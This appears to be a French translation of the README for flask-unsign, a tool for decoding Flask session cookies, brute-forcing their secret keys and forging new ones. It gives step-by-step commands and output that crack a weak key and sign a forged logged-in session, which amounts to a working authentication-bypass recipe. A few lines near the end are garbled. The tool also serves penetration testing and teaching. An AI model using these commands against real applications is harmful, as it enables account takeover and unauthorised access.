
Outil en ligne de commande pour récupérer, décoder, attaquer par force brute et forger les cookies de session d'une application Flask en devinant les clés secrètes.
Outil en ligne de commande pour récupérer, décoder, soumettre à une attaque par force brute et fabriquer des cookies de session d'une application Flask en devinant les clés secrètes. Pour le composant autonome de liste de mots, veuillez visiter le dépôt flask-unsign-wordlist.
Pour installer l'application, utilisez simplement pip :
$ pip3 install flask-unsign[wordlist]
Si vous souhaitez uniquement installer le code principal, omettez le suffixe [wordlist] :
$ pip3 install flask-unsign
Pour installer l'outil à des fins de développement, exécutez la commande suivante (après avoir téléchargé une copie) :
$ pip3 install -e .[test]
Pour obtenir un aperçu de toutes les options possibles, appelez simplement flask-unsign sans aucun argument comme ceci :
$ flask-unsign
Étant donné que les cookies Flask sont signés et non chiffrés, il est possible de décoder localement les données de session. Pour cela, vous pouvez utiliser l'argument --decode.
Les cookies de session peuvent être obtenus en inspectant vos requêtes HTTP à l'aide d'un proxy comme Burp Proxy, en utilisant l'inspecteur réseau de votre navigateur ou une extension de navigateur pour voir/modifier vos cookies. Par défaut, Flask utilise le nom de session "session".
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
Vous pouvez également utiliser la fonctionnalité de récupération automatique de session de Flask-Unsign en passant l'argument --server, au lieu de l'argument --cookie. Notez toutefois, que toutes les pages web ne renvoient pas forcément une session, alors assurez-vous de passer une URL qui en renvoie une.
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
Après avoir obtenu un cookie de session d'exemple, vous pourrez tenter de soumettre la clé secrète du serveur à une attaque par force brute. Si vous avez de la chance, elle peut être définie sur quelque chose de facile à deviner, ou si elle a été trouvée en ligne, elle peut figurer dans l'une de vos listes de mots. Pour cela, vous pouvez utiliser l'argument --unsign.
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
Une fois que vous avez obtenu la clé secrète du serveur, vous pourrez fabriquer vos propres données de session personnalisées. Pour cela, vous pouvez utiliser l'argument --sign.
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip, essayez d'utiliser
la commande suivante : python3.6 -m pip install flask-unsign--legacy.--no-literal-eval
comme argument.Si vous vous demandez comment cela fonctionne exactement, consultez mon article de blog qui l'explique en détail, notamment avec un guide sur la façon de protéger votre propre serveur contre cette attaque.
Licence MIT
Copyright (c) 2021 Luke Paris (Paradoxis)
La permission est accordée, gratuitement, à toute personne obtenant une copie de ce logiciel et des fichiers de documentation associés (le « Logiciel »), de traiter le Logiciel sans restriction, y compris, sans limitation, les droits d'utiliser, de copier, de modifier, de fusionner, de publier, de distribuer, de sous-licencier et/ou de vendre des copies du Logiciel, et de permettre aux personnes auxquelles le Logiciel est fourni de faire de même, sous réserve des conditions suivantes :
L'avis de droit d'auteur ci-dessus et le présent avis d'autorisation doivent être inclus dans toutes les copies ou portions substantielles du Logiciel.
LE LOGICIEL EST FOURNI « TEL QUEL », SANS GARANTIE D'AUCUNE SORTE, EXPRESSE OU IMPLICITE, Y COMPRIS, MAIS SANS S'Y LIMITER, LES GARANTIES DE QUALITÉ MARCHANDE, D'ADÉQUATION À UN USAGE PARTICULIER ET D'ABSENCE DE CONTREFAÇON. EN AUCUN CAS, LES AUTEURS OU TITULAIRES DU DROIT D'AUTEUR NE SERONT RESPONSABLES DE TOUTE RÉCLAMATION, DOMMAGE OU AUTRE RESPONSABILITÉ, QUE CE SOIT DANS LE CADRE D'UNE ACTION CONTRACTUELLE, DÉLICTUELLE OU AUTRE, DÉCOULANT DE, OU EN RELATION AVEC, LE LOGICIEL OU SON UTILISATION OU AUTRES TRANSACTIONS DANS LE LOGICIEL.